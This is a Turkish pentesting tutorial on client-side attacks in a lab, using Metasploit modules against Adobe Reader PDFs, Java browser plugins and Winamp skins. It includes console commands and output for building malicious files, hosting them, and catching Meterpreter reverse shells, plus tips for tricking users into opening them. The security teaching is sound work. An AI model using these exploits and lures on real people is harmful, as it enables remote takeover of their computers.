Portable Document Format (PDF) yazılımına da sızma yapılabilir. Eğer kullanıcıyı kötü amaçlı PDF dosyamızı güvenlik zaafiyeti olan uygulamada görmesine ikna edebilirsek, o programa sızabiliriz.
Windows sistemlerinde en yaygın kullanınan PDF uygulaması Adobe Reader. Web tarayıcıları gibi, Adobe Reader'in de güvenlik açıkları ile çevrili bir tarihi vardır. Gene web tarayıcılarında olduğu gibi paketli güncelleme yönetimi mevcut olsa bile, genelde güncelleme yapmayı ihmal ettiğimiz program türlerinden.
Bizim Windows XP makinemizde Adobe Reader'in eski 8.1.2 sürümü kurulu, bu sürümünde CVE-2008-2992 sorunu bulunmakta. Bu sorun amaçlı Metasploit modülümüz ise exploit/windows/fileformat/adobe_utilprintf. Bu modüle gireceğimiz değerler şu ana kadar gördüklerimizden biraz farklı. Bu kullanıcı taraflı bir saldırı olduğundan RHOST gibi değerlere gerek yok. Modülün yaptığı görev ise kötü amaçlı bir PDF oluşturmak.
msf > use exploit/windows/fileformat/adobe_utilprintf
msf exploit(adobe_utilprintf) > show options
Module options (exploit/windows/fileformat/adobe_utilprintf):
Name Current Setting Required Description
---- --------------- -------- -----------
FILENAME msf.pdf yes The file name.
Exploit target:
Id Name
-- ----
0 Adobe Reader v8.1.2 (Windows XP SP3 English)
msf exploit(adobe_utilprintf) > exploit [*] Creating 'msf.pdf' file...
[+] msf.pdf stored at /root/.msf4/local/msf.pdf
Gördüğünüz gibi, PDF exploit için gireceğimiz tek değer oluşturulacak zararlı PDF dosyası için isim. Onu da varsayılan değeri msf.pdf olarak bırakabiliriz. Bu örneğimiz için Metasploit'in varsayılan windows/meterpreter/reverse_tcp payload'nı 4444 portunda kullanacağız. exploit çalıştırdığımızda, Metasploit bizim için Windows XP SP3 English sisteminde bulunan güvenlik zaafiyeti Adobe Reader için zararlı PDF dosyası oluşturacaktır. Dosyamız _/root/.msf4/local/msf.pdf dizininde kaydedilecek.
Payload için bir işleyici (handler) ayarlamamız gerekiyor:
msf exploit(adobe_utilprintf) > cp /root/.msf4/local/msf.pdf /var/www
[*] exec: cp /root/.msf4/local/msf.pdf /var/www
msf exploit(adobe_utilprintf) > service apache2 start
[*] exec service apache2 start
Starting web server: apache2.
msf exploit(adobe_utilprintf) > use multi/handler
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(handler) > set LHOST 192.168.20.9
lhost => 192.168.20.9
msf exploit(handler) > exploit
[*] Started reverse handler on 192.168.20.9:4444
[*] Sending stage (752128 bytes) to 192.168.20.10
[*] Meterpreter session 2 opened (192.168.20.9:4444 -> 192.168.20.10:1422) at 2015-05-05 20:26:15 -0400
Oluşturduğumuz dosyayı Apache sunucusuna atıyoruz, ve sunucuyu çalıştırıyoruz. Bu dosyayı sonradan anlatacağımız sosyal mühendislik yönteminde de kullanabiliriz, bir kişiye değilde birkaç kişiye göndereceğimizden multi/handler modülünü kullandık.
ExitOnSession varsayılan değerini false yaparak, oturum bilgisi aldığında dinleyicinin kapanmasını önleyebiliriz. Yani birkaç kullanıcı için, çoklu oturum açmış oluyoruz.
msf exploit(handler) > show advanced
Module advanced options:
--snip--
Name : ExitOnSession
Current Setting: true
Description : Return from the exploit after a session has been created
msf exploit(handler) > set ExitOnSession false
ExitOnSession => false
msf exploit(handler) > exploit -j
[*] Exploit running as background job.
[*] Started reverse handler on 192.168.20.9:4444
[*] Starting the payload handler...
PDF saldırıları için diğer bir yöntem ise; PDF içine zararlı çalışan bir script yerleştirmek. Bu amaçlı kullanacağımız Metasploit modülü ise exploit/windows/fileformat/adobe_pdf_embedded_exe. Programa direk açılışında sızma yerine, PDF açıldığında bir script için çalıştırabilme yetkisini isteyecek. Kullanıcı buna izin verdiği takdirde, işlemimiz başarıyla sonuçlanır.
Bu modül (1) önceden oluşturduğumuz scripti EXANAME değeri ile tanımlayabilmemizi sağlar; (2) oluşturacağımız pdf dosyası ismini, (3) INFILE değeri ile giriş PDFyi, (4) LAUNCH MESSAGE ile izin isterken göstereceğimiz mesajı belirleriz.
Aşağıdaki gibi lazım olan değerleri girelim. Örneğimiz için Kali Linux'la gelen Metasploit kullanım klavuzunu kullanıyoruz, /user/share/set/readme/User_Manual.pdf da bulunur. Sonrasında oluşturulan dosya, gene /root/msf4/local/ dizininde yer alacak.
Zararlı PDF dosyası açıldığında, kullanıcı aşağıdaki gibi bir uyarı alacak. Atağın bu çeşidi kullanıcın Open tıklamasına bağlı. Kullanıcı Open tıkladığı takdirde payload çalışır ve biz oturum bilgisi alırız.
Java açıkları kullanıcı taraflı ataklar için yaygın bir alandır. Aslında, bazı uzmanlar Javanın bu açıklarından dolayı onun kaldırılmasını veya web tarayıcılarımızdan devre dışı bırakılmasını önermektedir.
Java saldırılarını güçlü kılan unsur ise, bir exploit çoklu platform için kullanılabilir. Windows, Mac hatda Linux sistemlerinde web tarayıcısı içinde çalışan Java Runtime Environment (JRE) aynı exploit ile sızılabilmekte. Bunlardan birkaçına bakalım:
Bir numara olarak, exploit/multi/browser/java_jre17_jmxbean Metasploit modülünü kullanalım. Metasploit zararlı bir sunucu oluşturur, ve o sayfaya gelen herkese sızar. Java 7 sürümü 11. güncellemeden önceki hepsi etkilenir.
Kendi çevremize göre değerleri belirliyoruz. SRVHOST değerini şahsi yerel IP adresimiz; istersek SRVPORT'unda değiştirebiliriz; URIPATH değerini hedefimizdeki tarayıcıda kolay yazabilecek bir değer atıyoruz.
Exploit'imiz çoklu platform desteklediğinden ve kod çalışma işlemi JRE içinde gerçekleştiği için, payload değerlerimiz Java tabanlıdır. Olagan şüphelilerin hepsi burda sıralınır inline payloads, staged payloads, bind shells, reverse shells, Meterpreter vb. Biz java/meterpreter/reverse_http payloadını yasal HTTP trafiğini kullanıdığından onu seçiyoruz:
Yukardaki değerler artık size tanıdık gelmesi lazım. LPORT varsayılan değeri şimdi 4444 yerine 8080. Dikkat edersek SRVPORT ve LPORT değerlerinin ikisi de aynı olduğundan, en azından birini değiştirmemiz gerekir.
Değerleri atadıktan sonra, exploit sunucusunu başlatalım ve Windows 7 makinemizde o zararlı sayfayı ziyaret edelim. Internet Explorer da Mozilla Firefox ta Java eklentisi açık olduğu sürece bu açığın kurbanı olacaklardır.
Ek olarak PDF de kullanıcı onaylaması ile ilgili örnekte yaptığımız gibi Signed Java Applet exploit/multi/browser/java_signed_applet kullanarak ta aynı mantık ile bir sızma yapılabilir. Mantık aynı. Çıktı olarak aşağıdaki gibi olacaktır:
Şimdiye kadar kullanıcı taraflı saldırılar aynı yöntem kullanmaktaydı. Biz zararlı bir dosya oluşturup kullanıcıdan güvenlik zaafiyeti olan programdan çalıştırmasını istiyorduk veya kullanıcıdan zararlı bir scripti çalıştırma onayını vermesini istiyorduk. Kullanıcı çalıştırdığında biz Metasploit oturumunu açıyorduk. Şimdi gelelim bir başka yönteme.
Bu örnekte, kullanıcıyı kandırarak Winamp ayar dosyasını nasıl değeştirebileceğine bakacağız. Kullanıcı programı açtığında, hangi şarkı söylerse söylesin zararlı ayar dosyası çalışmış olacaktır. Kullanacağımız Metasploit modülü exploit/windows/fileformat/winamp_mali_bof, Winamp 5.55 sürümünde buffer overflow sorununa sızma yapar.
Aşağıda gördüğünüz gibi, bu modüle girebileceğimiz herhangi bir değer yoktur. Bize lazım olan tek şey Windows payload. Bu modül Winamp teması (skin) için zararlı Maki dosyasını oluşturacak.
Uyumlu bir Windows payload seçiyoruz. Zararli Maki dosyası oluşturulduktan sonra, Apache sunucusuna atıyoruz ve payload işlemcisini (handler) kuruyoruz. Şimdi biz bu zararlı dosyayı Winamp ta kullanabilecek duruma getirmemiz lazım. Winamp dosyasında bir tane tema dosyasını kopyalayıp yenisini oluşturalım. mcvcore.maki dosyasını oluşturduğumuz zararlı dosya ile değiştiriyoruz. Temanın görünümü bizim için pek fark etmez, çünkü ne de olsa bizim Metasploite oturum bilgisini aktaracaktır.
Windows 7 sistemimizde, C:\Program Files\Winamp\Skins dizininde bulunan Bento Winamp temasını Kalimize kopyalayalım. İsmini Bento 'dan Rocketship 'e değiştirelim. Rocketship\scripts\mcvcore.maki dosyasını Metasploitte oluşturmuş olduğumuz zararlı dosya ile değiştiriyoruz. Sonra zipleyelim ve sunucuya atalım.
Windows 7 sistemimize geçelim, we ziplemiş olduğumuz dosyayı indirelim ve Winamp tema dosyasına atalım.
Şimdi ise Winamp açalım, Options > Skins gidelim ve Rocketship seçelim. Zararlı temayı seçtiğimizde Winamp kapanmış gözükecektir ve biz Metasploitte oturumu almış olacağız.